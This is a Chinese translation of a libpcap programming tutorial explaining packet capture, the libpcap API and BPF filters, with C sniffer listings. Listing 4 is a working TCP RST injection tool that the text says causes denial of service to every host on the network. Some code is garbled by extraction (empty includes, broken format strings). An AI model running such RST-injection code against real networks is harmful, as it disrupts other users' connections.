libpcap编程-编写自己的网络嗅探程序

 Programming with Libpcap --Sniffing the Network 

 

Author: Luis Martin Garcia 

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 

 

| ** 你将会学到什么? ** | 

 

| 1.数据包捕获的原则; | 

 

| 2.如何利用libpcap捕获数据包; | 

 

| 3.关于我们何时需要编写数 | 

 

| 据包捕获程序等方面. | 

 

| | 

 

| ** 你应该所掌握的... ** | 

 

| 1.C语言程序设计; | 

 

| 2.网络的基本工作原理和OSI的标 | 

 

| 准模型; | 

 

| 3.了解常见的协议,比如以太协仪,| 

 

| TCP/IP协议,或者ARP协议。 | 

 

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 

 

******概要********************************************************************* 

 

自从1969年第一条电子信息带着研究人员的期望成功地通过阿葩网(ARPANET)进行了

有史以来最便捷的信息传递方式,计算机网络已经发生了巨大的变化。以前网络(此处及以

下均指计算机网络)规模小,结构简单,利用一些简单的诊断工具通常便可以解决网络问题。

但随着网络的不断复杂化,对复杂网络的管理和检测的需求日益增加。 

 

 现如今,计算机网络不仅规模大而且通常有着各种系统利用大量不同种类的协议所进行

的通信。这种复杂的局面产生了更多的可以监视和检测网络通信的智能化工具。今天,在任何

一个网络管理员的管理工具箱中都有着这样的一个工具,那就是嗅探器(sniffer)。 

 

嗅探器,也称做数据包分析器,是一些拥有拦截网络传输数据的能力的程序 。这些程

序在网络管理人员和黑帽社区之中相当流行,因为他们既可被环绕于正义的光环也可沦为邪

恶的爪牙。在本文中,我们将阐述数据包捕获的主要原则和方法并且为大家介绍libpcap(一

个开源并可移植的数据捕获库,著名的网络工具tcpdump,dsniff,kismet,snort和ettercap

的核心便有libpcap库中的各种API)。 

 

 

******数据包捕获************************************************************** 

 

 

 数据包捕获是在数据传输的网络上进行数据收集的一种行为。嗅探器是捕获数据包的最

佳实现,但是许多其它种类的应用需要通过网卡才能完成数据包的捕获,它们包括网络数据

统计工具,入侵检测系统,端口锁定守护进程,密码嗅探器,ARP注入攻击,路由检测器等

等。 

 

首先让我们大致了解一下数据包捕获在以太网络中的工作原理。每当一个网卡收到一个

以太帧,它就会检测该帧的目的网卡地址(MAC address)是否与自己的网卡地址相符(相同)。

如果相符,网卡便产生一个中断请求,该中断请求将由负责处理此类中断的系统网卡驱动程

序处理。该驱动给接收到的数据打上时间戳,然后将数据从网卡缓冲区复制到系统内核空间

的一块内存上。接着系统通过查看以太数据帧头的以太类型区域判断接收到的数据包是属于

哪一种类型继而将该包中的数据传递给协议堆栈由相应的协议处理机制处理。大多数情况下

数据包包含一个IPv4数据报,如此,IPv4协议处理机制将被激活。这种处理机制将进行一

系列验证行为来确保比如数据包没有遭到损坏,本机的确是该包的目的地等等。当所有验证

均通过后,IP头被移除,剩下的部分再被传递到下一层协议处理机制(可能是TCP或者UDP)。

这种处理过程不断重复直到数据到达由用户空间的应用程序来处理的应用层。 

 当我们使用嗅探器时,数据包将完成上述的相同过程,但除了一个地方:网络驱动程序

也将拷贝接收到的或是发出的任何数据到内核中名叫数据包过滤器的部分。而正是数据包过

滤器使数据包的捕获成为可能。默认的情况下,数据包过滤器允许任意包通过,但是,我们

稍候将会看到它们通常提供了高级的过滤能力。由于数据包捕获可能涉及到网络安全,因此

多数操作系统要求必须要有管理员的权限才能使用数据过滤的这一项功能。 图1阐释了捕获

数据包的过程。 

******Libpcap***************************************************************** 

 

 Libpcap是一个提供了针对网络数据包捕获系统的高层接口的开源函数库。它是在1994

年由麦克坎尼(McCanne),莱乐士(Leres)和杰科宾森(Jacobson)创建的。当时他们是美国加洲

柏克利大学劳恩斯国家实验室的研究生,而Libpcap正是他们研究和改善TCP和英特网网关

功能的一部分成果。Libpcap作者的主要愿望是开创一个独立平台的应用程序接口(API)以

此消除程序中针对不同操作系统所包含的数据包捕获代码模块,因为通常每一个操作系统商

都会实现他们自己的捕获机制。(也就是解决了移植性的问题,这有利于提高程序员开发的效

率--译者注) 

 Libpcap应用程序接口(API)被设计用于C或者C++语言。然而后来出现很多封装包使

它也可用于其它语言,比如:perl语言,python语言,Java语言,C#或者Ruby语言。Libpcap

运行于大多数类UNIX操作系统上(Linux, Solaris, BSD, HP-UX...)。当然,也有Windows

版本,曰Winpcap。现在libpcap由Tcpdump团队维护。完整的文档和源代码可以从tcpdump

的官方网站上获得:http://www.tcpdump.org. ( http://www.winpcap.org/ for Winpcap ) 

 

 

******我们之于libpcap的第一步********************************************** 

 

 现在我们已经知道数据包捕获的原理,让我们编写自己的嗅探程序吧! 

 

 我们需要的第一件事情是一个用于监听的网络接口。我们可以自己明确的详细说明一个

接口,或者让libpcap为我们获取一个。函数char *pcap_lookupdev(char *errbuf)返回一

个指向包含第一个适合于数据包捕获的网络设备名称的字符串的指针。通常当用户自己没有

说明任何一个网络接口时,这个函数应该被调用。使用硬编码的接口名称是一个很差的主意,

因为他们几乎没有移植性。 

 

 函数pcap_lookupdev()中的参数errbuf是应由用户提供的一段缓冲区,如果有不正常

的地方libpcap库将用这个缓冲区存储出错信息。许多由libpcap实现的函数所带有这个参

数。当我们请求分配这个缓冲区时我们一定要谨慎,因为该缓冲区必须要至少可以容纳下

PCAP_ERRBUF_SIZE个字节(目前它被定义为256个字节)。当函数出错时返回NULL. 

 

 一旦我们获取了网络设备的名称,我们还需要打开它。 

 

函数pcap_t *pcap_open_live(const char *device, 

 

 int snaplen, int promisc, 

 

 int to_ms, char *errbuf) 

 

便可以做到。该函数返回一个pcap_t类型的接口描述符,此描述符稍候将会被libpcap的其

他函数用到。(与此类似的比如文件描述符--译者注)如果函数调用失败,就返回NULL. 

 

 函数pcap_open_live()的第一个参数是一个指向包含我们想要打开的网络设备名称的

字符串指针,显然该参数可由pcap_lookupdev()获得。第二个参数是我们要捕获的数据包的

最大字节数。给这个参数设定一个较小的值在某些情况下也会起到一定作用,比如:我们只

想抓获包头或者是在内存资源紧张的嵌入式系统中的程序编写。通常最大的以太帧大小是

1518字节。但是其它的链接类型,比如FDDI或者是802.11有跟大的上限值。65535这个数

值对于容纳任何网络的任何数据包应该是足够的。 

 

 参数to_ms定义了在把捕获的数据从内核空间复制到用户空间之前内核应该等待多少个

毫秒。反复地改变缓冲区的内容将严重地消耗昂贵的计算时间。如果我们是在一个繁忙的网

络传输环境中捕获数据包,那么最好是让内核在内核空间和用户空间之间拷贝数据之前先将

数据包聚集,然后一起拷贝。当我们把to_ms的值是赋为零时,这将导致读操作将永远进行下

去直到足够的数据包到达网络接口(在拷贝数据之前驱动程序要从网络接口读入数据)。

Libpcap文档对该参数没有提供任何建议值,不过我们可以通过参考其他的嗅探器程序来获

取一些灵感。Tcpdump用的是数值1000,dsniff用的是数值512,此外ettercap在linux

或OpenBSD操作系统下用数值0,其他操作系统下用数值10。

参数promisc决定是否将网卡置于混杂模式。也就是说网卡是否可以接收目的地不是自

己的数据包。将其置零我们会获取非混杂模式,其他任何值都将置网卡于混杂模式。请注意

即使是我们让libpcap将网卡置于非混杂模式,但如果网络接口在此之前已经处于混杂模式,

那么他将继续保持在混杂模式的状态下。我们不能保证我们不会收到传输给其它主机的数据

包,相反,我们最好像后面做的那样利用libpcap提供的过滤能力。 

 一旦我们打开了一个可以捕获数据包的网络接口,我们必须告诉libpcap我们想要开始

捕获数据包了。对此,我们有以下选择: 

 * 函数 const u_char *pcap_next(pcap_t *p, struct pcap_pkthdr *h) 

将利用由pcap_open_live返回的接口描述符pcap_t,一个指向pcap_pkthdr类型的结构体

进行处理后返回第一个到达网络接口的数据包。  

 

 * 函数 int pcap_loop(pcap_t *p, int cnt, 

 

 pcap_handler callback, u_char *user) 

 

被用于收集数据包并且处理它们。该函数直到cnt个数据包被捕获后才会返回。如果cnt是

负值,那么 

 

pcap_loop()只有在出现错误时才会返回。 

 

你可能正在疑惑:如果这些函数只是返回一些整数,那么那些被捕获的数据包在哪儿呢?

答案听起来有些复杂。pcap_loop()并没有返回那些捕获的数据包,相反,每当一个数据包被

读取时它调用一个由用户定义的函数。这样我们就可以在一个分开的函数中实现我们自己的

数据处理方式而不是循环调用pcap_next()并在循环内部处理这些数据。然而,这里面有一

个问题,如果pcap_loop()调用我们的函数,我们如何向它传递参数呢?我们需要应用丑陋

的全局规则吗?答案是否定的。libpcap的开发团队早已考虑过这些问题并找到一种可以向

回调函数(callback function)传递参数的方法,那就是参数user。这个指针在函数的每次

调用中均被传递,该指针是指向u_char类型的,因此当调用pcap_loop()和当在回调函数内

部使用该参数时我们必须按照程序的需求对它进行强制类型转换。我们的数据包处理函数一

定要有具体的原型,否则pcap_loop()将不会知道如何去使用它。它应该按如下方式被声明: 

 

 void function_name(u_char *userarg,const struct pcap_ptkhdr, const u_char *packet); 

第一个参数是用于传递给pcap_loop()的用户指针,第二个指针是指向一个包含与被捕获数

据包相关的信息的结构体。列表1给出了这种结构体的定义。 

列表 1. 

 

Structure pcap_pkthdr 

struct pcap_pkthdr{ 

 

 struct timeval ts; //timestamp of capture 

 

 bpf_u_int32 caplen; //number of bytes that were stored 

 

 bpf_u_int32 len; //total length of the packet 

 

}; 

 

 

 该结构体中的成员caplen通常和成员len的值一样,但除了以下情况:捕获到的数据包

大小超过了我们在函数pcap_open_live()中给snaplen赋的值。 

 

 

 * 函数 int pcap_dispatch(pcap_t *p, int cnt, 

 

 pcap_handler callback, u_char *user) 

 

是我们的第三个选择。它与pcap_loop()类似,但当函数pcap_open_live()中定义的延时参

数to_ms消耗完后函数pcap_dispatch()也会立即返回。列表2提供了一个将捕获到的数据

包的原始数据打印出来的简单嗅探程序,请注意头文件pcap.h必须包含在程序代码中。为了

使代码清晰明了,我们省略了错误检测(编写适当的错误检测代码是程序员应具备的良好习

惯--译者注)。 

 

列表2 

 

 

#include  

#include  

#include  

#define MAXBYTES2CAPTURE 2048 

void processPacket(u_char *arg, const struct pcap_pkthdr *pkthdr,const u_char *packet)

 int i = 0, *counter = (int *)arg; 

 printf("Pcaket Count: %d\n", ++(*counter)); 

 printf("Received Packet Size: %d\n", pkthdr->len); 

 printf("Payload:\n"); 

 for (i=0; ilen; i++)

 { 

    if ( isprint(packet[i]) ) 

        printf("%c ", packet[i]); 

    else 

        printf(". "); 

   if ( (i == 0 && i!=0) || i==pkthdr->len-1) 

        printf("\n"); 

 

 } 

 

 return; 

 

int main() 

 int i=0, count=0; 

 

 pcap_t *descr = NULL; 

 

 char errbuf[PCAP_ERRBUF_SIZE], *device = NULL; 

 

 memset(errbuf, 0, PCAP_ERRBUF_SIZE); 

  

 

 device = pcap_lookupdev(errbuf); 

 printf("Opening device %s\n", device); 

   

 descr = pcap_open_live(device, MAXBYTES2CAPTURE, 1, 512, errbuf); 

  

 pcap_loop(descr, -1, processPacket, (u_char *)&count); 

 return 0; 

 

 

 

******一旦我们捕获到数据包************************************************** 

 

 当一个数据包被捕获,我们程序得到的唯一的东西是一组数据。通常网卡驱动程序和协

议堆栈为我们处理那些数据,但是当我们自己的程序捕获数据包时我们实际上是处于网络数

据处理的最底层,因此我们必须自己负起责来完成数据的重组解析,使其合理化。为了完成

这项任务,有几点我们需要考虑到: 

 

 *数据链接类型*(数据链路层) 

 

尽管似乎到处都有以太网,但仍然有很多不同的技术和标准用于操作数据链路层。为了

能够解析那些从网络接口上捕获到的数据包,我们必须要知道基本的底层数据连接类型,这

样我们才可能解析出对应于该层的数据包头首部。 

 

函数 int pcap_datalink(pcap_t *p)返回由函数pcap_open_live()打开的网络设备的链路

层类型。Libpcap可以识别超过180种不同的链接类型。然而了解任何一个特殊的技术细节

是程序员的责任。那也就是意味着作为程序员,我们必须要知道捕获到的数据包的数据链接

帧头的准确格式。在多数程序中我们仅仅只是想知道这些帧头的长度,这样我们就知道了IP

数据报的起始位置。表格1总结了最常见的数据链接类型还有它们在libpcap中的名称以及

可以加在数据包起始位置以获取下一层协议的数据包首部地址的偏移量。

可能,处理不同链接层数据包首部大小的最好办法是完成一个函数让它实现这样的功能:

函数获取一个pcap_t结构体,经过处理返回被用于获取下一协议层数据包头地址的偏移量。

Dsniff已经跨出了这一步。我们可以参考一下来自Dsniff源代码中pcap_util.c文件里的

函数pcap_dloff(): 

int pcap_dloff(pcap_t *pd) 

 int offset = -1; 

 switch (pcap_datalink(pd))

 { 

 case DLT_EN10MB: 

 offset = 14; 

 break; 

 case DLT_IEEE802: 

 offset = 22; 

 break; 

 case DLT_FDDI: 

 offset = 21; 

 break; 

#ifdef DLT_LOOP 

 case DLT_LOOP: 

#endif 

 case DLT_NULL: 

 offset = 4; 

 break; 

 default: 

 warnx("unsupported datalink type"); 

 break; 

 } 

 return (offset); 

 

 

*网络层协议* 

 

 

 

下一步是判断接着链路层包头的是什么了。从现在开始假设我们是工作在以太网中的。

以太帧头有一个名叫以太类(ethertype)的16位区域,以太类(ethertype)是用来指明应

用于帧数据字段的协议。,表格2列举了最流行的网络层协议和他们的以太类值。 

 

 

 

当我们在程序中检测该值时一定要记住它们是以网络字节顺序接收的,因此我们要用

ntohs()将它转换成本地主机字节顺序。 

 

 

 

 *传输层协议*(协议层) 

 

一旦我们知道是哪种类型的网络层协议被用于路由我们捕获的数据包,我们必须要弄明

白下一个协议将会是什么。假设知道了捕获的数据包有一个IP数据报,那么想要知道下一个

协议就容易了。快速地看一下IPv4协议数据包头的区域将会告诉我们答案。表格3总结了最

常见的传输层协议,它们的16进制值和它们被定义的RFC文档。一个完整的列表可以在以下

网址找到: 

 

http://www.iana.org/assignments/protocol-numbers。 

 

 *应用层协议* 

 

很好,目前我们获取了以太帧头,IP数据包头,TCP数据包头,接着再做些什么呢?应

用层协议比较难以判断。TCP数据包头没有提供任何有关它传载的数据的信息,但是TCP端

口数值可以提供线索。如果,比如说我们捕获到一个发往或来自80端口的数据包,并且它传

载的内容都是以ASCII码形式存在的,那么该包极有可能是传输于一个HTTP服务端和一个网

络浏览器之间的连接。可是这种方法毕竟不科学,因此当我们处理TCP数据包的传载信息时

一定要非常小心,因为它可能包含有未曾意料的数据。 

 

 

 *制作不良的数据包* 

 

在阿姆斯特郎*路易斯的《美丽世界》里,一切都是单纯美好的。但是嗅探器通常处于地

狱般的环境中。网络并不总是传输有效的数据包。有时它们并没有按照标准来制作或者它们

在传输过程中遭到了损坏。当设计一个处理被嗅探的网络交通的应用程序时,这些是必须要

被考虑的。 

 

 一个以太类的值表明下一个数据包头类型是ARP的这一事实并不意味着我们一定会找到

一个ARP包头。 

 

同样的道理我们不能够盲目地相信一个IP数据包的协议区域包含着能够正确表明下一

个包头类型的数值。甚至是指定长度的区域也不能相信。如果我们想要设计一个功能强大的

数据包分析器,那就要避免分段错误和数据包头的错误解析,每个细节都要严格检查。这里

提供一些建议: 

 

 1.检测接收到的数据包的整体大小,如果,比方说我们期待一个以太网中的ARP数据包,

那么大小不同于14 + 28 = 42的数据包应该被丢弃。如果未能检测包的大小,那么当我们试

图处理接收到的数据时,可能会导致一个恼人的分段错误。 

 

 2.检测IP和TCP的校验和。如果校验和不是有效的,那么包头中的数据极可能是垃圾数据。

然而与此前的分析一样,即使校验和是正确的那也不足以保证数据包包含有效的包头值。 

 

 3.从数据包提取出的以做后用的任意数据应该是被证实过的。比如一个数据包的负载认为

应该包含一个IP地址,我们就应该检测它来保证该包中数据代表了一个有效的IP地址。 

 

 

 

 

 

******过滤数据包************************************************************** 

 

 正如我们之前所见,当我们的程序运行在用户空间时,捕获数据包的处理发生在内核中。

每当内核从网络接口获取数据包时,它要将数据从内核空间拷贝到用户空间。这种操作会花

费大量的计算时间。捕获经过网卡的每一个数据包很容易使我们主机的整体性能下降,并由

此导致内核漏包。 

 

 如果我们真的希望捕获所有的传输数据,那么对于优化捕捉过程我们能做的很少。但是如

果我们只对特定类型的数据包感兴趣,我们就可以告诉内核让它过滤数据包,于是我们只会

得到一份与过滤表达式相符的数据包拷贝。提供这种功能的那部分内核叫系统数据包过滤器。 

 

 数据包过滤器的过滤规则主要是由用户定义,当获取到数据包时该规则将被网卡调用。

如果数据包验证后与规则相符,数据包将会被传递到我们的应用程序,否则它只会被传递到

协议堆栈用与往常一样的方式进行处理。每一种操作系统都有它们自己的数据包过滤处理机

制。但是,它们中的许多是基于相同的架构--BSD Packet Filter或BPF--来实现的。Libpcap

提供了对基于BPF的数据包过滤器的完全支持。这包括*BSD,AIX,Tru64,Mac OS或者Linux

这些不同平台。对于那些不支持BPF过滤器的操作系统,libpcap不能提供内核级的过滤功

能,但是libpcap仍然可以在函数库内部通过读取所有数据包并在用户空间模仿BPF过滤器

的功能选取网络流量。这需要大量的计算时间开支,但尽管如此,它提供了无比的便利性。 

 

******设置过滤器************************************************************** 

 

 设置一个过滤器需要三步:构筑过滤器的表达式,然后将该表达式编译成一个BPF程序,

最后应用这个过滤器。BPF程序是由一种类似于汇编语言的特殊语言编写的。但是libpcap

和tcpdump用更简单的方法实现了只需应用一种高级语言便可设置过滤器的功能。这种语言

具体的语法超出了本文讨论的范围。完整的详细说明书可以在tcpdump的手册上找到。这里

只举几个例子: 

 

 * src host 192.168.1.77返回源IP地址是192.168.1.77的数据包; 

 

 * dst port 80 返回目的端口为80的TCP/UDP数据包; 

 

 * not tcp 返回任何一个没有使用TCP协议的数据包; 

 

 * tcp[13] == 0x02 and (dst port 22 or dst port 23) 返回SYN标志位被置且目的端口

为22或23的TCP数据包; 

 

 * icmp[icmptype] == icmp-echoreply or icmp[icmptype] == icmp-echo 返回ICMP的

ping请求和响应; 

 

 * ether dst 00:e0:09:c1:0e:82 返回目的物理地址为00:e0:09:c1:0e:82的以太帧; 

 

 * ip[8]==5 返回IP TTL值等于5的数据包。 

 

 

 

 一旦我们写出过滤器表达式,我们要将它转换成内核可以理解的BPF程序。 

 

函数 int pcap_compile(pcap_t *p, struct bpf_program *fp, 

 

 char *str, int optimize, bpf_u_int32 netmask) 

 

将过滤器表达式编译成由指针str指向的BPF代码。参数fp是指向结构体bpf_program的指

针,我们应该在调用pcap_compile()之前先对该结构体进行声明。参数optimize控制过滤

程序是否被优化得更有效率。最后一个参数是我们嗅探的网络的网络掩码。除非我们想要测

试广播地址,该值可被安全地置于零。但是如果我们需要知道网络掩码,那么函数 

 

int pcap_lookupnet(const char *device, bpf_u_int32 *netp, 

 

 bpf_u_int32 *maskp, char *errbuf) 

 

将为我们为完成这一任务。 

 

 一旦我们有了编译过的BPF程序,我们需要将它嵌入到内核中,于是我们调用以下函数 

 

 int pcap_setfilter(pcap_t *p, struct bpf_program *fp) 

 

如果一切顺利,我们接着就可以调用pcap_loop()或是pcap_next()开始抓包了。列表3给出

了一个的捕捉网络交通中ARP包的简单例子。列表4的代码起到更高级的一点功能,它监听

ACK和PSH-ACK标志位被置的TCP包而且重置连接并最终导致针对网络中每一个主机的拒绝

服务攻击。错误检测和部分代码因为程序的清晰明了而省去,完整的代码可以在以下网址找

到 

 

http://programming-pcap.aldabaknocking.com. 

 

 

列表3 

 

 

 

 

#include  

#include  

#include  

#define MAXBYTES2CAPTURE 2048 

//ARP Header, (assuming Ethernet+ipv4) 

#define ARP_REQUEST 1 

#define ARP_REPLY 2 

typedef struct arphdr{ 

 

 u_int16_t htype; //hardware type 

 

 u_int16_t ptype; //protocol type 

 

 u_char hlen; //hardware address length 

 

 u_char plen; //protocol address length 

 

 u_int16_t oper; //operation code 

 

 u_char sha[6]; //sender hardware address 

 

 u_char spa[4]; //sender ip address 

 

 u_char tha[6]; //target hardware address 

 

 u_char tpa[4]; //target ip address 

 

}arphdr_t; 

int main(int argc, char *argv[]) 

 

 int i=0; 

 bpf_u_int32 netaddr=0, mask=0; 

 struct bpf_program filter; 

 char errbuf[PCAP_ERRBUF_SIZE]; 

 pcap_t *descr = NULL; 

 struct pcap_pkthdr pkthdr; 

 const unsigned char *packet = NULL; 

 arphdr_t *arpheader = NULL; 

 memset(errbuf, 0, PCAP_ERRBUF_SIZE); 

 if (argc != 2)

 { 

 printf("Usage: arpsniffer \n"); 

 exit(1); 

 } 

 descr=pcap_open_live(argv[1],MAXBYTES2CAPTURE,0,512,errbuf); 

 pcap_lookupnet(argv[1], &netaddr, &mask, errbuf); 

 pcap_compile(descr, &filter, "arp", 1, mask); 

 pcap_setfilter(descr, &filter); 

 while (1)

 { 

 packet = pcap_next(descr, &pkthdr); 

 arpheader = (struct arphdr *)(packet + 14); 

 printf("\n\nReceived Packet Size: %d bytes\n",pkthdr->len); 

 printf("Hardware type: %s\n", (ntohs(arpheader->htype) == 1)?"Ethernet" : "Unknown"); 

 printf("Protocol type: %s\n", (ntohs(arpheader->ptype) == 0x0800) ? "Ethernet" : "Unknown"); 

 printf("Operation: %s\n", (ntohs(arpheader->oper) == ARP_REQUEST) ?"ARP Request" : "ARP Reply"); 

 if (ntohs(arpheader->htype) == 1 && ntohs(arpheader->ptype) == 0x0800)

 {

 printf("Sender MAC: "); 

 for (i=0; i<6; i++)printf("x:", arpheader->sha[i]); 

 printf("\nSender IP: "); 

 for (i=0; i<4; i++)printf("%d.", arpheader->spa[i]); 

 printf("\nTarget MAC: "); 

 for (i=0; i<6; i++)printf("x:", arpheader->tha[i]); 

 printf("\nTarget IP: "); 

 for (i=0; i<4; i++)printf("%d.", arpheader->tpa[i]); 

 printf("\n"); 

 } 

 } 

 return 0; 

 

 

 

列表4: 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

#define __USE_BSD  

 

#include  

 

#define __FAVOR_BSD  

 

#include  

 

#include  

 

#include  

 

#include  

 

 

 

#define TCPSYN_LEN 20 

 

#define MAXBYTES2CAPTURE 2048 

 

 

 

 

 

typedef struct pseudoheader { 

 

 u_int32_t src; 

 

 u_int32_t dst; 

 

 u_char zero; 

 

 u_char protocol; 

 

 u_int16_t tcplen; 

 

} tcp_phdr_t; 

 

 

 

typedef unsigned short u_int16; 

 

typedef unsigned long u_int32; 

 

 

 

 

 

 

 

int TCP_RST_send(u_int32 seq, u_int32 src_ip, u_int32 dst_ip, u_int16 src_prt, 

u_int16 dst_prt); 

 

unsigned short in_cksum(unsigned short *addr,int len); 

 

 

 

 

 

 

 

 

 

int main(int argc, char *argv[] ){ 

 

 

 int count=0; 

 

 bpf_u_int32 netaddr=0, mask=0;  

 

 struct bpf_program filter;  

 

 char errbuf[PCAP_ERRBUF_SIZE];  

 

 pcap_t *descr = NULL;  

 

 struct pcap_pkthdr pkthdr;  

 

 const unsigned char *packet=NULL;  

 

 struct ip *iphdr = NULL;  

 

 struct tcphdr *tcphdr = NULL;  

 

 memset(errbuf,0,PCAP_ERRBUF_SIZE); 

 

 

if (argc != 2){ 

 

 fprintf(stderr, "USAGE: tcpsyndos \n"); 

 

 exit(1); 

 

 

 

  

 

 descr = pcap_open_live(argv[1], MAXBYTES2CAPTURE, 1, 512, errbuf); 

 

 if(descr==NULL){ 

 

 fprintf(stderr, "pcap_open_live(): %s \n", errbuf); 

 

 exit(1); 

 

 } 

 

 

  

 

 if ( pcap_lookupnet( argv[1] , &netaddr, &mask, errbuf) == -1 ){ 

 

 fprintf(stderr, "ERROR: pcap_lookupnet(): %s\n", errbuf ); 

 

 exit(1); 

 

 } 

 

 

  

 

 if ( pcap_compile(descr, &filter, "(tcp[13] == 0x10) or (tcp[13] == 0x18)", 1, mask) 

== -1){ 

 

 fprintf(stderr, "Error in pcap_compile(): %s\n", pcap_geterr(descr) ); 

 

 exit(1); 

 

 } 

 

 

  

 

 if( pcap_setfilter(descr,&filter) == -1 ){ 

 

 fprintf(stderr, "Error in pcap_setfilter(): %s\n", pcap_geterr(descr)); 

 

 exit(1); 

 

 } 

 

 

while(1){ 

 

  

 

 if ( (packet = pcap_next(descr,&pkthdr)) == NULL){ 

 

 fprintf(stderr, "Error in pcap_next()\n", errbuf); 

 

 exit(1); 

 

 } 

 

 

 

 iphdr = (struct ip *)(packet+14); 

 

 tcphdr = (struct tcphdr *)(packet+14+20); 

 

 if(count==0)printf("+-------------------------+\n"); 

 

 printf("Received Packet No.%d:\n", ++count); 

 

 printf(" ACK: %u\n", ntohl(tcphdr->th_ack) ); 

 

 printf(" SEQ: %u\n", ntohl(tcphdr->th_seq) ); 

 

 printf(" DST IP: %s\n", inet_ntoa(iphdr->ip_dst)); 

 

 printf(" SRC IP: %s\n", inet_ntoa(iphdr->ip_src)); 

 

 printf(" SRC PORT: %d\n", ntohs(tcphdr->th_sport) ); 

 

 printf(" DST PORT: %d\n", ntohs(tcphdr->th_dport) ); 

 

 

 TCP_RST_send(tcphdr->th_ack, iphdr->ip_dst.s_addr, iphdr->ip_src.s_addr, 

tcphdr->th_dport, tcphdr->th_sport); 

 

 TCP_RST_send(htonl(ntohl(tcphdr->th_seq)+1), iphdr->ip_src.s_addr, 

iphdr->ip_dst.s_addr, tcphdr->th_sport, tcphdr->th_dport); 

 

 printf("+-------------------------+\n"); 

 

 

 

return 0; 

 

 

 

 

 

 

 

 

int TCP_RST_send(u_int32 seq, u_int32 src_ip, u_int32 dst_ip, u_int16 src_prt, 

u_int16 dst_prt){ 

 

 

 static int i=0; 

 

 int one=1;  

 

 

  

 

 int rawsocket=0; 

 

 

  

 

 char packet[ sizeof(struct tcphdr) + sizeof(struct ip) +1 ]; 

 

 

  

 

 struct ip *ipheader = (struct ip *)packet; 

 

 

  

 

 struct tcphdr *tcpheader = (struct tcphdr *) (packet + sizeof(struct ip)); 

 

 

 

  

 

 tcp_phdr_t pseudohdr; 

 

 

 

  

 

 char tcpcsumblock[ sizeof(tcp_phdr_t) + TCPSYN_LEN ]; 

 

 

 

  

 

  

 

 struct sockaddr_in dstaddr; 

 

 

 

 memset(&pseudohdr,0,sizeof(tcp_phdr_t)); 

 

 memset(&packet, 0, sizeof(packet)); 

 

 memset(&dstaddr, 0, sizeof(dstaddr)); 

 

 

 

 dstaddr.sin_family = AF_INET;  

 

 dstaddr.sin_port = dst_prt;  

 

 dstaddr.sin_addr.s_addr = dst_ip;  

 

 

 

 

 

  

 

 if ( (rawsocket = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0){ 

 

 perror("TCP_RST_send():socket()"); 

 

 exit(1); 

 

 } 

 

 

 

  

 

  

 

  

 

 if( setsockopt(rawsocket, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0){ 

 

 perror("TCP_RST_send():setsockopt()"); 

 

 exit(1); 

 

 } 

 

 

 

 

 

  

 

 ipheader->ip_hl = 5;  

 

 ipheader->ip_v = 4;  

 

 ipheader->ip_tos = 0;  

 

 ipheader->ip_len = htons( sizeof (struct ip) + sizeof (struct tcphdr) ); 

 

 ipheader->ip_off = 0;  

 

 ipheader->ip_ttl = 64;  

 

 ipheader->ip_p = 6;  

 

 ipheader->ip_sum = 0;  

 

 ipheader->ip_id = htons( 1337 ); 

 

 ipheader->ip_src.s_addr = src_ip;  

 

 ipheader->ip_dst.s_addr = dst_ip;  

 

 

 

  

 

 tcpheader->th_seq = seq;  

 

 tcpheader->th_ack = htonl(1);  

 

 tcpheader->th_x2 = 0;  

 

 tcpheader->th_off = 5;  

 

 tcpheader->th_flags = TH_RST;  

 

 tcpheader->th_win = htons(4500) + rand()00; 

 

 tcpheader->th_urp = 0;  

 

 tcpheader->th_sport = src_prt;  

 

 tcpheader->th_dport = dst_prt;  

 

 tcpheader->th_sum=0;  

 

 

 

  

 

 pseudohdr.src = ipheader->ip_src.s_addr; 

 

 pseudohdr.dst = ipheader->ip_dst.s_addr; 

 

 pseudohdr.zero = 0; 

 

 pseudohdr.protocol = ipheader->ip_p; 

 

 pseudohdr.tcplen = htons( sizeof(struct tcphdr) ); 

 

 

 

  

 

 memcpy(tcpcsumblock, &pseudohdr, sizeof(tcp_phdr_t)); 

 

 memcpy(tcpcsumblock+sizeof(tcp_phdr_t),tcpheader, sizeof(struct tcphdr)); 

 

 

 

  

 

 tcpheader->th_sum = in_cksum((unsigned short *)(tcpcsumblock), 

sizeof(tcpcsumblock)); 

 

 

 

  

 

 ipheader->ip_sum = in_cksum((unsigned short *)ipheader, sizeof(struct ip)); 

 

 

 

  

 

 if ( sendto(rawsocket, packet, ntohs(ipheader->ip_len), 0, 

 

 (struct sockaddr *) &dstaddr, sizeof (dstaddr)) < 0){ 

 

 return -1; 

 

 } 

 

 

 

 printf("Sent RST Packet:\n"); 

 

 printf(" SRC: %s:%d\n", inet_ntoa(ipheader->ip_src), 

ntohs(tcpheader->th_sport)); 

 

 printf(" DST: %s:%d\n", inet_ntoa(ipheader->ip_dst), 

ntohs(tcpheader->th_dport)); 

 

 printf(" Seq=%u\n", ntohl(tcpheader->th_seq)); 

 

 printf(" Ack=%d\n", ntohl(tcpheader->th_ack)); 

 

 printf(" TCPsum: x\n", tcpheader->th_sum); 

 

 printf(" IPsum: x\n", ipheader->ip_sum); 

 

 

 

 close(rawsocket); 

 

 

 

return 0; 

 

 

 

}  

 

 

 

 

 

 

 

 

 

unsigned short in_cksum(unsigned short *addr,int len){ 

 

 

 

register int sum = 0; 

 

u_short answer = 0; 

 

register u_short *w = addr; 

 

register int nleft = len; 

 

 

 

 

 

 

 

while (nleft > 1) { 

 

sum += *w++; 

 

nleft -= 2; 

 

 

 

 

 

 

if (nleft == 1) { 

 

*(u_char *)(&answer) = *(u_char *)w ; 

 

sum += answer; 

 

 

 

 

 

 

sum = (sum >> 16) + (sum &0xffff);  

 

sum += (sum >> 16);  

 

answer = ~sum;  

 

return(answer); 

 

 

 

}  

 

 

 

***********结束语************************************************************** 

 

 在本文中,我们探索了数据包捕获的基本原理并且学得了如何使用pcap函数库去实现简

单的网络嗅探程序。但是pcap函数库提供了更多的本文未曾提及的函数(比如将数据包中的

数据写入某一个文件,注入数据包,获取统计数据等等)。完整的文档和一些有指导性的文章

可以在pcap手册上(pcap man page)找到或是tcpdump的官方网站上。 

 

 

 

***********关于作者*********************************************************** 

 

 

 

